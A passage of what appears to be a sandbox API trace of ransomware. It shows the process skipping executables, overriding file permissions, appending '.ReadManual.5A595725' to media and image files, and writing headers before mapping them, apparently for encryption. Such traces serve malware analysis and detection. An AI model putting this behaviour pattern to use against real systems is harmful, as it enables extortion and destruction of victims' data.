dwNumberOfBytesToMap=0xad264) returned 0x2690000 [0253.407] UnmapViewOfFile (lpBaseAddress=0x2690000) returned 1 [0253.408] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37407654300) returned 1 [0253.408] CloseHandle (hObject=0x1a0) returned 1 [0253.408] SetSecurityInfo () returned 0x5 [0253.408] SetSecurityInfo () returned 0x5 [0253.408] LocalFree (hMem=0x674d38) returned 0x0 [0253.408] CloseHandle (hObject=0x184) returned 1 [0253.415] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x705fb12a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x705fb12a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e1f3b57, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb4f64, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Title_Trans_Notes_PAL.wmv", cAlternateFileName="")) returned 1 [0253.415] lstrcpyW (in: lpString1=0x6ab914, lpString2="Title_Trans_Notes_PAL.wmv" | out: lpString1="Title_Trans_Notes_PAL.wmv") returned="Title_Trans_Notes_PAL.wmv" [0253.415] lstrcmpiW (lpString1="Title_Trans_Notes_PAL.wmv", lpString2="RecoveryManual.html") returned 1 [0253.415] StrStrIW (lpFirst="Title_Trans_Notes_PAL.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.415] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0253.415] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0253.415] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0253.415] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0253.415] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0253.415] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0253.415] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0253.415] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0253.415] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0253.415] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0253.415] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0253.415] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0253.415] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0253.415] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0253.416] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv" [0253.416] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv.ReadManual.5A595725" [0253.416] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv.ReadManual.5A595725") returned 105 [0253.416] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37408438474) returned 1 [0253.416] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes_pal.wmv")) returned 0x20 [0253.416] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.416] GetLastError () returned 0x5 [0253.416] GetNamedSecurityInfoW () returned 0x0 [0253.416] SetNamedSecurityInfoW () returned 0x0 [0253.418] SetNamedSecurityInfoW () returned 0x0 [0253.419] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.419] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=741220) returned 1 [0253.419] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb4f64, lpName=0x0) returned 0x1a0 [0253.419] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe2) returned 1 [0253.420] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.420] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.422] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.422] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb4f64) returned 0x2690000 [0253.444] UnmapViewOfFile (lpBaseAddress=0x2690000) returned 1 [0253.445] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37411387326) returned 1 [0253.445] CloseHandle (hObject=0x1a0) returned 1 [0253.445] SetSecurityInfo () returned 0x5 [0253.445] SetSecurityInfo () returned 0x5 [0253.445] LocalFree (hMem=0x674d38) returned 0x0 [0253.445] CloseHandle (hObject=0x184) returned 1 [0253.452] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7066d541, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7066d541, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e23fe13, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x999e4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="title_trans_scene.wmv", cAlternateFileName="")) returned 1 [0253.453] lstrcpyW (in: lpString1=0x6ab914, lpString2="title_trans_scene.wmv" | out: lpString1="title_trans_scene.wmv") returned="title_trans_scene.wmv" [0253.453] lstrcmpiW (lpString1="title_trans_scene.wmv", lpString2="RecoveryManual.html") returned 1 [0253.453] StrStrIW (lpFirst="title_trans_scene.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.453] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0253.453] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0253.453] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0253.453] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0253.453] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0253.453] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0253.453] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0253.453] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0253.453] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0253.453] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0253.453] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0253.453] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0253.453] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0253.453] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0253.453] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv" [0253.453] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv.ReadManual.5A595725" [0253.453] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv.ReadManual.5A595725") returned 101 [0253.453] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37412188718) returned 1 [0253.453] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene.wmv")) returned 0x20 [0253.453] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.454] GetLastError () returned 0x5 [0253.454] GetNamedSecurityInfoW () returned 0x0 [0253.454] SetNamedSecurityInfoW () returned 0x0 [0253.454] SetNamedSecurityInfoW () returned 0x0 [0253.455] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.455] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=629220) returned 1 [0253.455] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x999e4, lpName=0x0) returned 0x1a0 [0253.455] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xda) returned 1 [0253.455] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.455] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.457] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.457] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x999e4) returned 0x2690000 [0253.475] UnmapViewOfFile (lpBaseAddress=0x2690000) returned 1 [0253.475] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37414413943) returned 1 [0253.475] CloseHandle (hObject=0x1a0) returned 1 [0253.475] SetSecurityInfo () returned 0x5 [0253.476] SetSecurityInfo () returned 0x5 [0253.476] LocalFree (hMem=0x674d38) returned 0x0 [0253.476] CloseHandle (hObject=0x184) returned 1 [0253.476] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70705ab5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70705ab5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa16e4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Title_Trans_Scene_PAL.wmv", cAlternateFileName="")) returned 1 [0253.476] lstrcpyW (in: lpString1=0x6ab914, lpString2="Title_Trans_Scene_PAL.wmv" | out: lpString1="Title_Trans_Scene_PAL.wmv") returned="Title_Trans_Scene_PAL.wmv" [0253.476] lstrcmpiW (lpString1="Title_Trans_Scene_PAL.wmv", lpString2="RecoveryManual.html") returned 1 [0253.476] StrStrIW (lpFirst="Title_Trans_Scene_PAL.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.476] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0253.476] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0253.476] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0253.476] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0253.476] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0253.476] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0253.476] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0253.476] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0253.476] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0253.476] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0253.476] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0253.476] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0253.476] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0253.476] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0253.476] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv" [0253.476] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv.ReadManual.5A595725" [0253.476] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv.ReadManual.5A595725") returned 105 [0253.476] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37414513076) returned 1 [0253.476] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene_pal.wmv")) returned 0x20 [0253.477] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.477] GetLastError () returned 0x5 [0253.477] GetNamedSecurityInfoW () returned 0x0 [0253.477] SetNamedSecurityInfoW () returned 0x0 [0253.477] SetNamedSecurityInfoW () returned 0x0 [0253.478] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.478] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=661220) returned 1 [0253.478] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa16e4, lpName=0x0) returned 0x1a0 [0253.478] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe2) returned 1 [0253.479] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.479] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.480] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.481] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa16e4) returned 0x2690000 [0253.500] UnmapViewOfFile (lpBaseAddress=0x2690000) returned 1 [0253.501] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37416947841) returned 1 [0253.501] CloseHandle (hObject=0x1a0) returned 1 [0253.501] SetSecurityInfo () returned 0x5 [0253.501] SetSecurityInfo () returned 0x5 [0253.501] LocalFree (hMem=0x674d38) returned 0x0 [0253.501] CloseHandle (hObject=0x184) returned 1 [0253.508] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70079eb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70079eb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a3c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="userContent_16x9_imagemask.png", cAlternateFileName="")) returned 1 [0253.508] lstrcpyW (in: lpString1=0x6ab914, lpString2="userContent_16x9_imagemask.png" | out: lpString1="userContent_16x9_imagemask.png") returned="userContent_16x9_imagemask.png" [0253.508] lstrcmpiW (lpString1="userContent_16x9_imagemask.png", lpString2="RecoveryManual.html") returned 1 [0253.508] StrStrIW (lpFirst="userContent_16x9_imagemask.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.509] StrCmpIW (psz1="png", psz2="exe") returned 1 [0253.509] StrCmpIW (psz1="png", psz2="dll") returned 1 [0253.509] StrCmpIW (psz1="png", psz2="sys") returned -1 [0253.509] StrCmpIW (psz1="png", psz2="msi") returned 1 [0253.509] StrCmpIW (psz1="png", psz2="mui") returned 1 [0253.509] StrCmpIW (psz1="png", psz2="inf") returned 1 [0253.509] StrCmpIW (psz1="png", psz2="cat") returned 1 [0253.509] StrCmpIW (psz1="png", psz2="bat") returned 1 [0253.509] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0253.509] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0253.509] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0253.509] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0253.509] StrCmpIW (psz1="png", psz2="fon") returned 1 [0253.509] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0253.509] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png" [0253.509] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png.ReadManual.5A595725" [0253.509] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png.ReadManual.5A595725") returned 110 [0253.509] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37417778709) returned 1 [0253.509] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\usercontent_16x9_imagemask.png")) returned 0x20 [0253.509] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\usercontent_16x9_imagemask.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.509] GetLastError () returned 0x5 [0253.509] GetNamedSecurityInfoW () returned 0x0 [0253.510] SetNamedSecurityInfoW () returned 0x0 [0253.510] SetNamedSecurityInfoW () returned 0x0 [0253.511] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\usercontent_16x9_imagemask.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.511] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=6716) returned 1 [0253.511] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a3c, lpName=0x0) returned 0x1a0 [0253.511] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xec) returned 1 [0253.511] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.511] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.513] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.513] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1a3c) returned 0x2f0000 [0253.513] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0253.513] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37418217316) returned 1 [0253.513] CloseHandle (hObject=0x1a0) returned 1 [0253.513] SetSecurityInfo () returned 0x5 [0253.514] SetSecurityInfo () returned 0x5 [0253.514] LocalFree (hMem=0x674d38) returned 0x0 [0253.514] CloseHandle (hObject=0x184) returned 1 [0253.515] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ee8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="whitemenu.png", cAlternateFileName="")) returned 1 [0253.515] lstrcpyW (in: lpString1=0x6ab914, lpString2="whitemenu.png" | out: lpString1="whitemenu.png") returned="whitemenu.png" [0253.515] lstrcmpiW (lpString1="whitemenu.png", lpString2="RecoveryManual.html") returned 1 [0253.515] StrStrIW (lpFirst="whitemenu.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.515] StrCmpIW (psz1="png", psz2="exe") returned 1 [0253.515] StrCmpIW (psz1="png", psz2="dll") returned 1 [0253.515] StrCmpIW (psz1="png", psz2="sys") returned -1 [0253.515] StrCmpIW (psz1="png", psz2="msi") returned 1 [0253.515] StrCmpIW (psz1="png", psz2="mui") returned 1 [0253.515] StrCmpIW (psz1="png", psz2="inf") returned 1 [0253.515] StrCmpIW (psz1="png", psz2="cat") returned 1 [0253.515] StrCmpIW (psz1="png", psz2="bat") returned 1 [0253.515] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0253.515] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0253.515] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0253.515] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0253.515] StrCmpIW (psz1="png", psz2="fon") returned 1 [0253.515] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0253.515] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png" [0253.515] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png.ReadManual.5A595725" [0253.515] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png.ReadManual.5A595725") returned 93 [0253.515] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37418391141) returned 1 [0253.515] GetFileAttributesW 